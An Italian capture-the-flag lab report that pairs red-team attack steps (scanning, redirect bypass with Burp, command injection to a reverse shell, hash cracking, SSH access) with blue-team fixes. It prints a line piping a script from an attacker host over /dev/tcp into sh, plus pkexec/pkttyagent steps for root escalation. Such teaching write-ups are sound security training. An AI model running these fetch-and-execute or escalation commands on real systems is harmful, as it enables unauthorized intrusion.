CTF1

Autore: *Daniele Pellegrini*

Matricola: *162779*

Nel seguente report si illustrano le vulnerabilità che hanno permesso di raggiungere le flag di utente e di amministratore di sistema nell'esercitazione CTF1.

- FLAG UTENTE: `13c75117ed113a0a08e1e4d5ff52937f`
- FLAG ROOT: `bd0e4f46b1adefdd542bc2f10cdd4d47`

Di seguito vengono illustrati i passaggi svolti per sfruttare le vulnerabilità di sistema (*red team*) e delle possibili soluzioni per la difesa (*blue team*).

Scansione della Rete

RED TEAM: La prima vulnerabilità viene trovata dall'attaccante che, con il comando `nmap`, ricerca un dispositivo *nella sua stessa rete* che abbia una porta aperta e che magari ospiti un server web. Ne trova uno sulla porta *80*, e inoltre trova la porta aperta *22* in ascolto per una possibile connessione in SSH.

BLUE TEAM: Una prima soluzione per la difesa sarebbe quella di rimuovere il server web da una rete sulla quale non si ha sempre piena conoscenza degli host che la popolano. La stessa cosa vale per la connessione SSH: mantenerla solo se si è connessi a *reti affidabili*.

Server Web

RED TEAM: Il server web sulla porta 80 presenta una pagina di login scritta in linguaggio PHP. Provando alcuni path comuni (come ad esempio *index*) si nota immediatamente che presenta delle *redirezioni al login*. Per trovare i path del server web si utilizza `gobuster`, che insieme a un dizionario noto ci permette di trovare la pagina *nav*, con la quale possiamo vedere tutti i path presenti nel sito di nostro interesse. Per bypassare la redirezione, si utilizza il software `Burp`, che ci permette così di accedere a pagine del sito per le quali normalmente servirebbe un'autenticazione, e grazie ad esso riusciamo a registrare un utente "prova" sul sito, con il quale in seguito possiamo loggarci. Una volta effettuato l'accesso, ci rendiamo conto che non c'è distinzione di ruoli tra utente e amministratore di sistema. Ora che siamo autenticati al sito controlliamo le pagine in cerca di una form in cui inserire degli input.

BLUE TEAM: per evitare situazioni di questo tipo sono necessari controlli più forti in merito all'autenticazione utente. Serve un sistema che tenga traccia della sessione di un utente, in modo che esso non possa in alcun modo navigare su certe pagine senza aver prima effettuato il login: non sono necessarie delle risposte di *redirect* (302) in questi casi, ma delle risposte *unauthorized* (401). Un'altra soluzione consiste nel dare a utenti diversi *privilegi diversi*, rendendo certe pagine agli utenti inaccessibili, come ad esempio quelle che mostrano i log di sistema.

Reverse Shell

RED TEAM: Una volta trovato una form adatta ad una code injection, presente nella pagina *file_logs*, attraverso la quale è possibile selezionare che tipo di delimitatore inserire nel file da scaricare che presenta i log del sistema, si procede nella ricerca di una *reverse shell che sfrutta una connessione TCP*. In questo modo si riesce ad aprire sul terminale dell'attaccante una shell nella quale si risulta loggati come utente *www-data*.

BLUE TEAM: Poiché nel form si offre la possibilità di scegliere un delimitatore, sarebbe opportuno controllare nel codice che l'input ricevuto dall'utente corrisponda a uno di quelli che ci si aspetta di ottenere.

Accesso al Database

RED TEAM: Utilizzando python si fa spawnare una shell che permetta di eseguire i comandi *MySQL*. Navigando sul sito è possibile raggiungere una pagina che permette il download dei file sorgente scritti in PHP, tra questi è presente il file *config*, che di buona norma contiene le credenziali di accesso al database. Grazie alle credenziali è possibile eseguire l'accesso al database e leggerne i dati, in particolare vedere gli utenti registrati al sistema e le loro password, seppur hashate.

BLUE TEAM: Informazioni tanto riservate non dovrebbero essere mai rese pubbliche, specie senza utilizzare in file di questo tipo delle variabili d'ambiente. Inoltre, come menzionato precedentemente, ci è stato possibile scaricare questi files a causa della mancata distinzione tra utente e amministratore di sistema.

Accesso SSH

RED TEAM: Avendo a disposizione l'hash delle password degli utenti registrati al sistema e il relativo codice che provvede a effettuare l'hash, è possibile riconoscere l'algoritmo utilizzato grazie ad alcuni caratteri noti. Non è possibile decodificare un hash, ma è possibile confrontarlo con un dizionario di password già note (*rockyou*) grazie all'utilizzo di `hashcat`. Una volta trovata la password dell'utente vader tentiamo l'accesso con le sue credenziali in una connessione SSH, ottenendo un esito positivo.

BLUE TEAM: L'utente *vader*, oltre ad utilizzare la stessa password per sistemi diversi, utilizza una password molto vulnerabile. Una password che è presente su un dizionario noto e che quindi risulta essere comune.

Privilege Escalation

Metodo 1: Python

RED TEAM: È possibile utilizzare il comando `sudo -l` per visualizzare i comandi che l'utente può eseguire come amministratore di sistema. Dall'output si vede che è possibile eseguire la versione di python presente nel percorso */opt/python3*, pertanto è possibile utilizzarla per far spawnare una bash nella quale si hanno i privilegi di root.

BLUE TEAM: Come soluzione a questa vulnerabilità si può revocare all'utente *vader* i permessi per eseguire python come amministratore di sistema.

Metodo 2: User Group

RED TEAM: Utilizzando lo script LinePEAS sul terminale utente possiamo cercare delle possibili vulnerabilità da sfruttare per fare privilege escalation sull'host corrente. Per utilizzarlo, supponendo che la macchina utente non abbia una connessione a internet ma sia connessa solo alla rete locale, utilizziamo una connessione con il terminale attaccante per eseguire lo script.

```
sudo nc -q 5 -lvnp 80 < linpeas.sh #Macchina Attaccante
cat < /dev/tcp/$(IP_ADDRESS_LOCALE_ATTACCANTE)/80 | sh #Macchina Vittima
```

Dall'output risultante vediamo che sono presenti due grandi vulnerabilità derivanti dall'appartenenza dell'utente a due diversi gruppi: `lxd` e `adm`. Il primo è un gruppo per la gestione dei container in linux, e sarebbe possibile fare privilege escalation se la macchina utente avesse installato il relativo programma, ma questo non è il caso, pertanto si utilizza il *gruppo adm*. Per farlo sono necessario due sessioni SSH nelle quali lanciare i seguenti comandi:

Sessione 1:

```
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```

Sessione 2:

```
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```

L'autenticazione richiesta nella prima sessione viene soddisfatta nella seconda, facendo spawnare una bash dove si è amministratori di sistema.

BLUE TEAM: Come per il metodo precedente, la soluzione più semplice consiste nel rimuovere l'utente *vader* dal gruppo *adm*.